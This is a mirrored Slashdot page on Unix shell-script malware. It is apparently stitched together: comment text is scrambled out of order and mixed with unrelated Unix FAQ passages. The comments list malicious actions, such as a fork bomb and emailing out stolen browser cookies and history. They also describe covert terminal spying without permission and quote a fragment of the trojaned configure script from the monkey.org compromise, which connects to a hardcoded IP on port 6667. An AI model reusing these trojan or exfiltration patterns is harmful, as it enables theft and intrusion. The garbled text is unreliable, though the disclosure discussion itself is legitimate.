Slashdot Mirror
Unix Shell-Scripting Malware
sheriff_p writes: "Virus Bulletin are running an article on Unix shell scripting malware, citing a 'zeitgeist' of interest in *nix malware following the release of {Win32/Linux}/Simile.D.
The article looks at possible infection methods, possible actions the virus could take, and at a couple of real-world examples..."
The problem with trying to pipe both input and output to an arbitrary slave process is that deadlock can occur, if both processes are waiting for not-yet-generated input at the same time. Deadlock can be avoided only by having BOTH sides follow a strict deadlock-free protocol, but since that requires cooperation from the processes it is inappropriate for a popen()-like library function.
The 'expect' distribution includes a library of functions that a C programmer can call directly. One of the functions does the equivalent of a popen for both reading and writing. It uses ptys rather than pipes, and has no deadlock problem. It's portable to both BSD and SV. See the next answer for more about 'expect'.
There are a few different ways you can do this, although none of them is perfect:
* kibitz allows two (or more) people to interact with a shell (or any arbitary program). Uses include:
- watching or aiding another person's terminal session;
- recording a conversation while retaining the ability to scroll backwards, save the conversation, or even edit it while in progress;
- teaming up on games, document editing, or other cooperative tasks where each person has strengths and weakness that complement one another. For example:
1) kibitz comes as part of the expect distribution.
2) kibitz requires permission from the person to be spyed upon.
To spy without permission requires less pleasant approaches:
* You can write a program that grovels through Kernel structures and watches the output buffer for the terminal in question,
displaying characters as they are output. This, obviously, is not something that should be attempted by anyone who does not
have experience working with the Unix kernel. Furthermore, whatever method you come up with will probably be quite non-portable.
* If you want to do this to a particular hard-wired terminal all the time (e.g. if you want operators to be able to check the console terminal of a machine from other machines), you can actually splice a monitor into the cable for the terminal. For example, plug the monitor output into another machine's serial port, and run a program on that port that stores its input somewhere and then transmits it out
*another* port, this one really going to the physical terminal. If you do this, you have to make sure that any output from the terminal is transmitted back over the wire, although if you splice only into the computer->terminal wires, this isn't much of a problem. This is not something that should be attempted by anyone who is not very familiar with terminal wiring and such.
If we don't fight for ourselves no one will.
You could take a look at the NSA's Security Enhanced Linux patch, which allows for a much finer-grained control over access to files on the system. It's a bit complex but it sounds like the answer to your question.
--Kylus
Idiot-proof something, and Life will build a better Idiot.
Certainly it's easy to create scripts that can do nasty things. I guess the main difference between some other OS vulnerabilities is that to infect a machine, I may need only send an email. For some other OSes, I would need to send a package, have them su to root, run ./configure and make install. In any case, I'm not convinced that any OS is inherently more secure than any other. .profile that automatically launched the db client. On exit from the client it would automatically log the user out. Apparently they believed that this would disable access to the shell for the user. Unfortunately, it was a simple matter to print an ASCII report and overwrite the .profile, thus allowing the next login to enjoy the benefits of the shell.
For example, at the last company I worked for, the access to a database system was done through a
For one thing, there are probably numerous boxes with nice broadband -- a virus could use a user account as a launchpad for a DDOS, for instance. In addition, boxes may be lacking patches or workarounds for any recent local exploits, so one might theoretically be able to get root privs without tricking root.
/tmp, generate lots of logs and possibly fill /var/adm/syslog or wherever, maybe fill the process table via fork bomb depending on how processes are limited, grab the user's cookies and browser history files for popular browsers and e-mail them to people, consume large amounts of memory (again, unless limited per user) forcing swap...
Depending on what's limited, one might try to fill up
Only the dead have seen the end of war.
>What about ./configure scripts?
./configure script. Among other things it creates a .c file called conftest with some interetsing "checks" in it:
...
./configure script.
Actually that seems to be the new trend amongst hax0rs who trojan program distributions. Recently it was reported to bugtraq that monkey.org was compromised and several programs including fragroute and dsniff were altered. Read the explanation of how that happened here.
What did the hax0rs add? A little present in the
...
+ sa.sin_addr.s_addr = inet_addr("216.80.99.202");
if(connect(s, (struct sockaddr *)&sa, sizeof(sa))
It connects to the above address on port 6667 and does some other nonsense. Then it's compiled and run. The user is none the wiser unless he takes the time to read the ENTIRE
You can find the full diff here.